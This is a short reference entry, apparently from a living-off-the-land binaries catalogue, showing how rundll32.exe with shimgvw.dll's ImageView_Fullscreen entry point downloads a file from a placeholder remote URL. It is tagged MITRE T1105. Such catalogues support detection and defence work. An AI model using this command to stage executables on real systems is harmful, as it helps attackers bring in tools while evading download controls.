Shimgvw.dll

Photo Gallery Viewer

Download

Download file from remote location.

rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}

Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'. — MITRE: T1105 — Privileges: User